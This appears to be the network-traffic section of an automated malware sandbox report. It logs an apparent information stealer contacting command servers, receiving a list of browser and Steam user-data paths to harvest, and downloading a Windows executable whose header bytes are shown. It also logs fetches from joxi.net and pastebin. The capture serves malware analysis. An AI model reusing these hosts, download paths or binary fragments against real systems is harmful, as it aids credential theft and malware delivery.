Sep 29, 2024 09:44:22.350564003 CEST	1.1.1.1	192.168.2.5	0xddce	No error (0)	joxi.net		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 29, 2024 09:44:25.515336990 CEST	1.1.1.1	192.168.2.5	0xe249	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false
Sep 29, 2024 09:44:25.515336990 CEST	1.1.1.1	192.168.2.5	0xe249	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Sep 29, 2024 09:44:25.515336990 CEST	1.1.1.1	192.168.2.5	0xe249	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

147.45.47.81

joxi.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.22	80	3724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 09:44:01.405046940 CEST	38	OUT	Data Raw: 00 01 00 01 02 02 1c 6e 65 74 2e 74 63 70 3a 2f 2f 31 38 35 2e 32 31 35 2e 31 31 33 2e 32 32 3a 38 30 2f 03 08 0c Data Ascii: net.tcp://185.215.113.22:80/
Sep 29, 2024 09:44:02.277618885 CEST	1	IN	Data Raw: 0b Data Ascii:
Sep 29, 2024 09:44:02.309242010 CEST	203	OUT	Data Raw: 06 c8 01 53 1d 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 31 1c 6e 65 74 2e 74 63 70 3a 2f 2f 31 38 35 2e 32 31 35 2e 31 31 33 2e 32 32 3a 38 30 2f 03 49 64 31 13 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 Data Ascii: Shttp://tempuri.org/Entity/Id1net.tcp://185.215.113.22:80/Id1http://tempuri.org/VsaVD@Authorizationns1 2512ea8d547d5afb96b66992e487c694Dq!KB#2D,D*DVB
Sep 29, 2024 09:44:02.541531086 CEST	142	IN	Data Raw: 06 8b 01 50 25 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 31 52 65 73 70 6f 6e 73 65 0b 49 64 31 52 65 73 70 6f 6e 73 65 13 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 09 49 64 31 52 65 73 75 Data Ascii: P%http://tempuri.org/Entity/Id1ResponseId1Responsehttp://tempuri.org/Id1ResultVsaVDDq!KB#2DVBB
Sep 29, 2024 09:44:07.926651955 CEST	154	OUT	Data Raw: 06 97 01 22 1d 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 32 03 49 64 32 56 02 0b 01 73 04 0b 01 61 06 56 08 44 0a 1e 00 82 ab 09 40 0d 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 08 03 6e 73 31 99 20 32 35 31 Data Ascii: "http://tempuri.org/Entity/Id2Id2VsaVD@Authorizationns1 2512ea8d547d5afb96b66992e487c694DiTJ\OD,D*DVB
Sep 29, 2024 09:44:08.413638115 CEST	1236	IN	Data Raw: 06 ff 33 f8 01 25 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 74 69 74 79 2f 49 64 32 52 65 73 70 6f 6e 73 65 0b 49 64 32 52 65 73 70 6f 6e 73 65 09 49 64 32 52 65 73 75 6c 74 06 45 6e 74 69 74 79 29 68 74 74 70 3a 2f 2f 77 77 Data Ascii: 3%http://tempuri.org/Entity/Id2ResponseId2ResponseId2ResultEntity)http://www.w3.org/2001/XMLSchema-instanceId1Id109http://schemas.microsoft.com/2003/10/Serialization/ArraysstringId11Id12Id13Entity17Id2Id3Entity16Id4Id5Id6I
Sep 29, 2024 09:44:08.413753033 CEST	124	IN	Data Raw: 46 19 99 2d 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 49 72 69 64 69 75 6d 5c 55 73 65 72 20 44 61 74 61 46 19 99 31 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 Data Ascii: F-%USERPROFILE%\AppData\Local\Iridium\User DataF1%USERPROFILE%\AppData\Local\7Star\7Star\User DataF1%USERPROFILE%\AppD
Sep 29, 2024 09:44:08.414014101 CEST	1236	IN	Data Raw: 61 74 61 5c 4c 6f 63 61 6c 5c 43 65 6e 74 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 46 19 99 2c 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 68 65 64 6f 74 5c 55 73 65 72 20 44 61 74 61 46 19 99 Data Ascii: ata\Local\CentBrowser\User DataF,%USERPROFILE%\AppData\Local\Chedot\User DataF-%USERPROFILE%\AppData\Local\Vivaldi\User DataF,%USERPROFILE%\AppData\Local\Kometa\User DataF6%USERPROFILE%\AppData\Local\Elements Browser\User DataF:%USER
Sep 29, 2024 09:44:08.414086103 CEST	224	IN	Data Raw: 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 6f 63 43 6f 63 5c 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 46 19 99 2a 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 55 Data Ascii: ERPROFILE%\AppData\Local\CocCoc\Browser\User DataF*%USERPROFILE%\AppData\Local\Uran\User DataF.%USERPROFILE%\AppData\Local\Chromodo\User DataF2%USERPROFILE%\AppData\Local\Mail.Ru\Atom\User DataFA%USERPROFILE%\AppData
Sep 29, 2024 09:44:08.414127111 CEST	1236	IN	Data Raw: 5c 4c 6f 63 61 6c 5c 42 72 61 76 65 53 6f 66 74 77 61 72 65 5c 42 72 61 76 65 2d 42 72 6f 77 73 65 72 5c 55 73 65 72 20 44 61 74 61 46 19 99 34 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 4d 69 63 72 6f 73 Data Ascii: \Local\BraveSoftware\Brave-Browser\User DataF4%USERPROFILE%\AppData\Local\Microsoft\Edge\User DataFH%USERPROFILE%\AppData\Local\NVIDIA Corporation\NVIDIA GeForce ExperienceF!%USERPROFILE%\AppData\Local\SteamF-%USERPROFILE%\AppData\Loca

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	147.45.47.81	80	3724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 09:44:12.456480026 CEST	73	OUT	GET /conhost.exe HTTP/1.1 Host: 147.45.47.81 Connection: Keep-Alive
Sep 29, 2024 09:44:13.077673912 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 29 Sep 2024 07:44:12 GMT Content-Type: application/octet-stream Content-Length: 3125704 Last-Modified: Tue, 20 Aug 2024 12:02:17 GMT Connection: keep-alive ETag: "66c485c9-2fb1c8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 58 05 30 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 d4 4e 00 00 00 00 00 00 00 00 00 00 c0 75 2f 00 08 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@X00Nu/<l.text `.rdata;<@@.dataM@.rsrcN0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Sep 29, 2024 09:44:13.077760935 CEST	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Sep 29, 2024 09:44:13.077807903 CEST	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Sep 29, 2024 09:44:13.077879906 CEST	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Sep 29, 2024 09:44:13.077959061 CEST	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Sep 29, 2024 09:44:13.078008890 CEST	1236	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Sep 29, 2024 09:44:13.078057051 CEST	896	IN	Data Raw: 00 50 ff 15 34 a1 41 00 85 c0 7e 13 8d 85 58 ff ff ff 50 ff 15 d4 a1 41 00 59 a3 84 e0 41 00 8d 47 01 50 ff b6 bc e0 41 00 57 53 6a 00 ff 35 84 e0 41 00 ff 15 38 a1 41 00 8b 86 bc e0 41 00 5f 5e 5b c9 c3 83 3d b0 e0 41 00 00 74 20 56 be bc e0 41 Data Ascii: P4A~XPAYAGPAWSj5A8AA_^[=At VAtPl&Y~u^U$hAhAhAPlAtMQE38Au0A=At*h@AhAhAPlAt5A%A%Ah`A
Sep 29, 2024 09:44:13.078104973 CEST	1236	IN	Data Raw: 00 85 c0 75 0b 8b 06 6a 01 57 8b ce ff 50 04 4f 47 3b 7e 08 7c d8 5f 5e c3 56 8b f1 ff 76 0c e8 cf 68 01 00 ff 36 e8 c8 68 01 00 59 59 5e c3 ff 74 24 0c ff 74 24 0c ff 74 24 0c e8 59 ff ff ff 83 c4 0c 85 c0 74 04 8b 40 0c c3 33 c0 c3 55 8b ec 83 Data Ascii: ujWPOG;~\|_^Vvh6hYY^t$t$t$Yt@3U@}u3AE@uEEP At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV
Sep 29, 2024 09:44:13.078151941 CEST	1236	IN	Data Raw: ff 75 08 53 ff 75 10 ff 15 18 a1 41 00 8b 0e 88 1c 08 89 46 04 5f 8b c6 5e 5b 5d c3 55 8b ec 83 ec 0c 8d 4d f4 e8 76 e6 ff ff 83 7d fc 01 7f 0a 6a 01 8d 4d f4 e8 32 e3 ff ff 56 8b 35 14 a1 41 00 57 8b 7d 08 8b 07 6a 01 ff 75 f4 50 ff d6 85 c0 75 Data Ascii: uSuAF_^[]UMv}jM2V5AW}juPuucY7S@PPMPSuVf$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]]}MQ
Sep 29, 2024 09:44:13.078202009 CEST	1236	IN	Data Raw: 15 04 a1 41 00 5e c3 33 c0 5e c3 56 e8 ac fe ff ff 59 5e c3 53 8b 5c 24 0c 8b 03 83 63 04 00 66 83 20 00 56 8b 74 24 0c 57 6a 02 5f eb 08 66 3d 20 00 77 0a 03 f7 0f b7 06 66 85 c0 75 f0 66 83 3e 2c 75 0f eb 0b 66 85 c0 74 4d 66 3d 2c 00 74 47 03 Data Ascii: A^3^VY^S\$cf Vt$Wj_f= wfuf>,uftMf=,tGf={u0{t+uFf8}tF"Ff8{uPfu_^[L$Vj\%L$j/;~^VW\|$t$A~!FPPPt$
Sep 29, 2024 09:44:14.114105940 CEST	1236	IN	Data Raw: 99 01 00 00 8b 45 e0 8b 1d 30 a2 41 00 46 83 65 e4 00 89 75 fc c6 00 00 eb 7c 3b 77 04 0f 8d a8 01 00 00 8b 07 8a 0c 30 46 80 f9 22 88 4d ec 89 75 fc 0f 84 ad 00 00 00 80 f9 5c 75 39 8a 04 30 46 3c 22 88 45 f0 89 75 fc 74 27 3a c1 74 1f 3c 6e 74 Data Ascii: E0AFeu\|;w0F"Mu\u90F<"Eut':t<nt<tMtj\ujjj\j"uMjhAPujhAPu#"t'\u\|0"uF0FPMu^0u<tFuhEPEP
Sep 29, 2024 09:44:14.114236116 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 29 Sep 2024 07:44:12 GMT Content-Type: application/octet-stream Content-Length: 3125704 Last-Modified: Tue, 20 Aug 2024 12:02:17 GMT Connection: keep-alive ETag: "66c485c9-2fb1c8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 58 05 30 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 d4 4e 00 00 00 00 00 00 00 00 00 00 c0 75 2f 00 08 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@X00Nu/<l.text `.rdata;<@@.dataM@.rsrcN0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Sep 29, 2024 09:44:14.114515066 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 29 Sep 2024 07:44:12 GMT Content-Type: application/octet-stream Content-Length: 3125704 Last-Modified: Tue, 20 Aug 2024 12:02:17 GMT Connection: keep-alive ETag: "66c485c9-2fb1c8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 58 05 30 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 d4 4e 00 00 00 00 00 00 00 00 00 00 c0 75 2f 00 08 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@X00Nu/<l.text `.rdata;<@@.dataM@.rsrcN0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	188.114.97.3	80	2164	C:\Users\user\AppData\Local\Temp\main\Installer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 09:44:22.364132881 CEST	285	OUT	GET /4Ak49WQH0GE3Nr.mp3 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: joxi.net Connection: Keep-Alive
Sep 29, 2024 09:44:23.040649891 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Sun, 29 Sep 2024 07:44:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Cache-Control: no-cache Vary: Accept-Language Vary: Accept-Language CF-Cache-Status: BYPASS Set-Cookie: js=TDXdxR9wpSLEfe3duHHmkl2DL-m5CFjOCB8aEB3BMPMV6LAwi7quqy7NYHeLalZaDJDQeYWeP1SmJAhV6czAi3; path=/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NrNfJO6YQEW%2BJa7wXSIGb5se52VS0%2FAdoigHXpNZkdQRQdFOjGFk%2BE7bNNrIFL%2BETpdYLqXksAvLOv2tEbfKameT9WcbPSGLvPr401JJZ0kjcqdr2KqALRP87g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8caa58fe49738c77-EWR Content-Encoding: gzip Data Raw: 33 34 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 74 94 cf 8e db 36 10 c6 ef 7e 0a 56 17 49 85 2c 7a b7 0e 90 d6 92 80 a4 09 0a f4 90 f4 90 1c 0a c3 28 b8 14 2d 73 57 16 15 92 5e af 91 0d b0 f1 06 41 8b 2d 10 a0 b9 f5 0d 7a 73 36 eb d6 89 ff 04 e8 13 0c 5f a1 4f 52 50 b2 9d 14 41 75 10 21 ce 37 3f 72 46 fc 18 7d 71 ef e1 b7 8f 7e fc e1 3e 1a e8 61 9e 34 a2 dd c0 48 9a 34 10 42 28 1a 32 4d 10 1d 10 a9 98 8e 9d 91 ee 37 6f 3b db 90 e6 3a 67 c9 f7 e2 8c a3 7f 2e 5e 23 73 09 37 b0 81 37 b0 86 99 79 85 e0 83 b9 80 0d bc 35 17 30 83 15 ac 60 86 e0 06 96 e6 15 32 cf e1 bd b9 80 05 ac cd cf b0 31 53 d8 c0 35 82 05 aa 92 57 30 b7 00 64 5e c0 0c de c1 b2 4a 5e 20 f8 00 1b 9b 38 37 53 58 44 b8 5e ba de 46 ce 8b 13 34 90 ac 1f 3b b8 4f 4e 39 15 45 c8 a9 70 90 64 79 ec a8 81 90 9a 8e 34 b2 f3 0e d2 93 92 c5 0e 1f 92 8c e1 b3 66 35 f7 29 a6 4e d1 93 9c a9 01 63 da d9 71 31 4d 8b f0 58 9c f1 50 8e 30 51 8a 69 85 a9 52 b8 dd 6a 87 54 29 27 69 d4 10 45 25 2f 75 4d f4 fa a3 82 6a 2e 0a 8f 07 2a 10 41 16 c8 80 04 43 ff 29 [TRUNCATED] Data Ascii: 34ct6~VI,z(-sW^A-zs6_ORPAu!7?rF}q~>a4H4B(2M7o;:g.^#s77y50`21S5W0d^J^ 87SXD^F4;ON9Epdy4f5)Ncq1MXP0QiRjT)'iE%/uMj.*AC)NAT=<:fTXvxWb:?O+`I\#5FCVh?`\|Y1G4
Sep 29, 2024 09:44:23.040699005 CEST	446	IN	Data Raw: fc 0e 89 55 48 25 23 9a dd cf 99 15 7a c2 0f f6 58 fb 0c 63 15 66 4c 6f c3 ea ee e4 11 c9 1e 90 21 f3 84 df 6d f5 3a 24 24 6a 52 d0 f8 a0 43 42 25 69 9c 75 86 61 49 24 2b f4 03 91 b2 90 17 8a 49 7d 97 f5 85 64 9e 2d b3 62 3f f3 bd 31 2f 52 31 0e Data Ascii: UH%#zXcfLo!m:$$jRCB%iuaI$+I}d-b?1/R1RAn#7p1aVIv_~fsz4j}}ux;L'#.+]UI=L+R+)IN9W+FxG#\{t4"Xdrw9Q*vrqbp[mnzL+

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49716	104.20.3.235	443	5552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 07:44:26 UTC	74	OUT	GET /raw/dq3hWX27 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-09-29 07:44:26 UTC	222	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 07:44:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Server: cloudflare CF-RAY: 8caa5913685643f8-EWR
2024-09-29 07:44:26 UTC	1147	IN	Data Raw: 31 31 33 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1136<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-09-29 07:44:26 UTC	1369	IN	Data Raw: 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 61 6c 65 72 74 20 63 66 2d 61 6c 65 72 74 2d 65 72 72 6f 72 20 63 66 2d 63 6f 6f 6b 69 65 2d 65 72 72 6f 72 22 20 69 64 3d 22 63 6f 6f 6b 69 65 2d 61 6c 65 72 74 22 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 65 6e 61 62 6c 65 5f 63 6f 6f 6b 69 65 73 22 3e 50 6c 65 61 73 65 20 65 6e 61 62 6c 65 20 63 6f 6f 6b 69 65 73 2e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 63 66 2d 65 72 72 6f 72 2d 64 65 74 61 69 6c 73 22 20 63 6c 61 73 73 3d 22 63 66 2d 65 72 72 6f 72 2d 64 65 74 61 69 6c 73 2d 77 72 61 70 70 65 72 Data Ascii: !--<![endif]--></head><body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper
2024-09-29 07:44:26 UTC	1369	IN	Data Raw: 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 20 63 66 2d 62 74 6e 2d 64 61 6e 67 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 62 64 32 34 32 36 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 22 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 64 69 73 6d 69 73 73 5f 61 6e 64 5f 65 6e 74 65 72 22 3e 49 67 6e 6f 72 65 20 26 20 50 72 6f 63 65 65 64 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 Data Ascii: re</a> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div
